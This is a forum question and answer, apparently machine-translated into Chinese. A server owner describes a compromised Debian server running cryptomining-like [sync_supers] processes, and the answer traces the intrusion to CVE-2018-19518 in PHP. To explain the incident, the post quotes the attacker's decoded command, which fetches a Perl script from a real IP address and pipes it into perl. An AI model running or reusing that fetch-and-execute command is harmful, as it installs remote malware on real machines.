![有人在我的服务器上远程执行脚本](https://linux22.com/image/149423/%E6%9C%89%E4%BA%BA%E5%9C%A8%E6%88%91%E7%9A%84%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C%E8%84%9A%E6%9C%AC.png)
在过去的几周里,我注意到我们服务器上的 CPU 负载非常高,在检查 htop 时发现有许多 [sync_supers] 进程以 100% 的速度运行。今天我很快就发现原来的命令调用仍然在 htop 中,下图显示了运行脚本的调用和生成的 [sync_supers] 进程。
阅读该行,我可以看到它使用 Base64 编码字符串隐藏了它所调用的内容,如下所示:
wget -qO - http://185.234.218.248/bt2.txt|perl
它下载的文件是一个连接到 irc 服务器的 perl 脚本,但我快速浏览了一下(我不知道 perl),我不知道它除了敲击我的 CPU 之外还在做什么,尽管我假设它是比特币农业或者其他的东西。我试图找到有关如何执行此黑客攻击的信息,但到目前为止我还没有找到任何缓解措施,我得到的最接近的是它提到了 Apache 和旧内核版本中的漏洞,但没有详细信息或链接。
不幸的是,更新服务器并不是一个真正实用的选择,因为它已经过了操作系统的使用寿命(获取新服务器并复制我们所有的软件和网站会更简单)。这是我的错,因为我一开始就没有保持服务器最新,我完全承认这一点。
操作系统版本:
Linux version 2.6.32-5-amd64 (Debian 2.6.32-35) ([email protected]) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue Jun 14 09:42:28 UTC 2011
我需要指向攻击相关资源的链接,如何在不使用 IP 地址玩 wackamole 的情况下阻止它,等等。我当前最好的解决方案是将 wget 重命名为其他名称,我考虑编写一个脚本每分钟运行一次以杀死所有 [sync_supers] 运行www-data 但killall 在运行时找不到该进程,并且查看perl 脚本,他们可以更改进程名称。
答案1
感谢发表评论的人,JdeBP 向我指出了所使用的漏洞CVE-2018-19518,PHP 错误 #76428。堵住这个漏洞的直接修复方法是更新 PHP。
也就是说,所有关于不信任服务器的评论确实有效,而我只见过它在 www-data 用户下运行,并且该用户甚至无权访问 http 服务器上的文件,它可以脱离了该用户并做了其他我找不到的事情。此外,无论如何,我的服务器数据严重不足。
经验教训是,始终保持您的服务器、操作系统和软件处于最新状态,即使这很痛苦并且会时不时地导致出现故障。